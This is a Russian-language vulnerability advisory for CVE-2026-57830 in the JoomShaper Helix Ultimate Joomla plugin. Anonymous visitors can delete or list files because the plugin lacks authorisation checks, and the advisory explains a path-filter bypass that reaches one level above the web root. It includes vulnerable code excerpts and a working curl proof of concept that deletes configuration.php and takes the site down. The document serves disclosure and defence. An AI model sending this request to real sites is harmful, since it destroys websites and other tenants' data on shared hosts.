
Неаутентифицированное произвольное удаление файлов/папок в Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Это подтвержденная уязвимость типа DoS + межсайтовый доступ к файловой системе, НЕ RCE. Теория об эскалации до RCE (удаление configuration.php для повторного открытия установщика Joomla) была проверена на практике и опровергнута — см. раздел "Эскалация до RCE — проверено и опровергнуто" ниже. Не представляйте это как RCE в любом отчете без предварительного построения реальной цепочки.
Повышение уровня серьезности (2026-07-06, второй проход): параметр path НЕ ограничивается корневой директорией Joomla, как предполагалось изначально — встроенный фильтр ввода PATH в Joomla не блокирует один компонент обхода /../, поэтому данная ошибка достигает (чтение: полный список каталогов; запись: удаление файла или рекурсивное удаление содержимого папки) чего угодно в файловой системе, к чему имеет доступ пользователь веб-сервера, а не только файлы внутри установки Joomla. В любой конфигурации общего хостинга, где несколько сайтов/арендаторов живут как соседние каталоги под одним и тем же пользователем ОС (очень распространено: cPanel "addon domains", подписки Plesk с общим пользователем, большинство бюджетных хостингов), один сайт на Helix Ultimate позволяет анонимному посетителю уничтожить все остальные сайты на той же учетной записи. См. "Обход пути выходит за пределы JPATH_ROOT полностью" ниже для живого доказательства.
Компонент: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), входит в состав практически каждого шаблона Joomla от JoomShaper (на основе Helix Ultimate).
Протестированная версия: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD по состоянию на 2026-07, последний коммит 2026-06-30)
Автор: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php предоставляет методы deleteMedia(), getFolders() и createFolder() через точку входа com_ajax в Joomla в helixultimate.php::onAfterRoute(). Эти три метода вызывают только Session::checkToken() (простая CSRF-проверка, удовлетворяемая собственным токеном сессии любого анонимного посетителя — его можно извлечь из HTML главной страницы сайта) — вообще нет вызова authorise() / проверки входа. Это не согласуется с соседним методом uploadMedia() в том же классе, который корректно требует core.edit на com_templates.
Поскольку это системный плагин, onAfterRoute() срабатывает на каждом запросе независимо от того, какой шаблон сейчас активен — уязвимый путь кода доступен, пока плагин установлен и включен (а он по умолчанию включен на любом сайте, использующем шаблон JoomShaper на основе Helix Ultimate).
plugins/system/helixultimate/helixultimate.php (~line 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path проходит через фильтр ввода PATH в Joomla (InputFilter::cleanPath()). Две независимые особенности делают это опасным:
path разрешается непосредственно относительно JPATH_ROOT, так что любой абсолютный путь от корня (/configuration.php, /administrator/..., /media/...) уже доступен.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) допускает ровно одну последовательность точек/дефисов/буквенно-цифровых символов, расположенную сразу после начального блока [A-Za-z0-9_/-]+ — и одиночный начальный / уже удовлетворяет этому начальному блоку, поэтому строка типа /../sibling_dir проходит проверку: / (блок 1), .. (разрешенная последовательность точек), /sibling_dir (обычный завершающий сегмент). Фильтр был написан так, чтобы отклонять сегмент, который начинает новый компонент /… с точкой, но никогда не предусматривал, что одна последовательность .. может находиться сразу после самого первого символа строки. Цепочка ../../.. НЕ проходит (каждый последующий сегмент /… после первой последовательности точек должен начинаться с символа, отличного от точки) — поэтому выход ограничен ровно одним уровнем каталогов выше JPATH_ROOT, но все, что ниже этого уровня (произвольная глубина), затем становится доступно обычным образом, так как дальнейшие сегменты являются обычными компонентами пути без точек.configuration.php → мгновенный, полный отказ сайта (фатальная ошибка "No configuration"), один HTTP-запрос, нулевая аутентификация.type=folder) → например, /administrator, /components, /media → гораздо более разрушительно, фактически уничтожает установку.view-media (Media::getFolders()): выводит список всех файлов изображений, всех имен подпапок и абсолютные серверные пути для любого пути относительно корня, без необходимости аутентификации (используется ниже как безопасный сигнал обнаружения).Проверено на одноразовом экземпляре Docker (Joomla 5.4.6 + плагин Helix Ultimate 2.2.6, свежая установка, полностью анонимная сессия браузера — без входа, без куки, кроме той, которую Joomla выдает каждому посетителю):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."